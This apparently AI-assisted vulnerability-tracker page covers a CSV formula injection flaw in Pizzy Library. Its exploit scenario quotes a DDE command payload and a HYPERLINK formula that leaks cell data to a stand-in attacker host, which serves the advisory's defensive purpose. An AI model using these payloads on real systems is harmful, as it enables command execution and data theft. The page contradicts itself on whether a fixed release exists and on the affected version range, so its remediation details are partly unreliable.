EUVD-2026-36719
GHSA-qv7c-w6cp-c775
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Pizzy-backed app
-
DeliveryInject formula payload into exportable field
-
ExploitTrigger CSV export generation
-
InstallVictim opens CSV in Excel
-
C2Spreadsheet evaluates formula/DDE
-
ExecuteExecute command in victim context
-
ImpactExfiltrate data or pivot
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
|
| Exploitation Conditions | Requires (1) authenticated write access to a field that Pizzy Library subsequently serializes into a CSV export, consistent with CVSS PR:L; (2) a victim who downloads the generated CSV and opens it in a spreadsheet application (Excel, Calc, Sheets) that evaluates formulas - despite UI:N in the vector, CWE-1236 exploitation is gated on this victim action; and (3) the spreadsheet client either auto-enabling formulas/DDE or the user clicking through the protected-view warning. Exploitation is limited to Pizzy Library versions 1.0.0.26250 through 1.3.9.26250 and only affects deployments that actually expose CSV export functionality to user-influenced data. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H rates this 8.8 (High), but the vector is internally inconsistent with a classic CSV injection: real exploitation of CWE-1236 requires the victim to open the exported file in a spreadsheet client, which would normally warrant UI:R, and the impact lands on the downstream viewer rather than the Pizzy host (suggesting a scope change). The PR:L assumption implies an attacker needs some authenticated access to push poisoned input into the export pipeline, which is plausible for a reporting library embedded in a larger application. EPSS, KEV status, and POC availability are not provided in the input, and no public exploit identified at time of analysis; given the single TR-CERT advisory and niche product footprint, this looks like a targeted-risk issue rather than a mass-exploitation candidate, but anywhere Pizzy-generated CSVs are emailed to executives or downloaded by analysts the practical risk is meaningful. |
| Exploit ScenarioDerived | An authenticated low-privilege user of an application that embeds Pizzy Library submits a field value such as =cmd|'/c calc'!A1 or =HYPERLINK("http://attacker/?"&A1,"Click") into a record that will later be exported. A finance or admin user downloads the resulting CSV and opens it in Excel, at which point the formula executes, leaking row data over HTTP or invoking DDE to run an arbitrary command in the victim's session. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 15, 2026
CSV formula injection in MIA Technology's Pizzy Library (versions 1.0.0.26250 through 1.3.9.26250) allows authenticated attackers to inject malicious formula elements into generated CSV files, leading to code execution when the file is opened in a spreadsheet application. The flaw is rated CVSS 8.8 and was reported by TR-CERT, though no public exploit identified at time of analysis. Impact spans confidentiality, integrity, and availability on the system of any victim who opens the crafted CSV.
RemediationAI
Upgrade Pizzy Library to version 1.3.9.26250 or later, the first fixed release per the affected-range metadata; consult the TR-CERT bulletin at https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0383 for vendor coordination details. If patching is delayed, sanitize all user-controlled input flowing into CSV exports by prefixing cells that begin with '=', '+', '-', '@', tab, or carriage return with a leading single quote or wrapping the value in quotes, recognizing that this may visibly alter legitimate values that start with those characters. As compensating controls, restrict who can submit data that ends up in exports, deliver CSVs as XLSX with formulas disabled, and instruct downstream users to open exports in a viewer that prompts before evaluating formulas; note that user-training mitigations degrade quickly and should not replace the code fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Pizzy Library is a .NET reporting/export component from MIA Technology Inc. used to generate documents including CSV outputs. The root cause is CWE-1236 (Improper Neutralization of Formula Elements in a CSV File), where untrusted user input is written into CSV cells without escaping leading characters such as '=', '+', '-', '@', or tab/CR. When the resulting file is opened in Microsoft Excel, LibreOffice Calc, or Google Sheets, those characters are interpreted as formula prefixes, enabling DDE calls, HYPERLINK exfiltration, or WEBSERVICE/IMPORTDATA requests that can pivot to arbitrary command execution via the spreadsheet engine.
Know when Pizzy Library gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Authenticated input injection (PR:L) over the network; exploitation requires victim to open the CSV (UI:R) and impact lands on the spreadsheet host, not Pizzy (S:C), with full CIA impact.
Primary rating from Vendor (TR-CERT).
CVSS VectorVendor: TR-CERT
Lifecycle Timeline
1DescriptionCVE.org
Improper neutralization of formula elements in a CSV file vulnerability in MIA Technology Inc. Pizzy Library allows Code Injection.
This issue affects Pizzy Library: from 1.0.0.26250 before 1.3.9.26250.
Executive ViewAI
MIA Technology's Pizzy Library (versions 1.0.0.26250 through 1.3.9.26250) contains a CSV formula injection vulnerability (CVSS 8.8) that enables code execution when users open crafted CSV files in spreadsheet applications. Any organization deploying affected versions faces data exfiltration and system compromise risks if employees receive malicious files. Immediate inventory and containment actions are required to mitigate exposure.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or restrict CSV export in applications using Pizzy Library; (2) Pre-process CSV files to remove formula characters (=, +, −, @, tab, carriage return) before generation; (3) Configure spreadsheet applications to disable automatic formula evaluation; (4) Implement organizational controls restricting CSV file receipt from external sources; (5) Deploy user awareness training on file-origin verification before opening.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
More in Pizzy Library
View allResource flooding in MIA Technology Pizzy Library versions 1.0.0.26250 through 1.3.9.26250 allows authenticated remote a
Improper access control in MIA Technology Inc. Pizzy Library versions 1.0.0.26250 through 1.3.9.26250 allows authenticat
Exploit-DB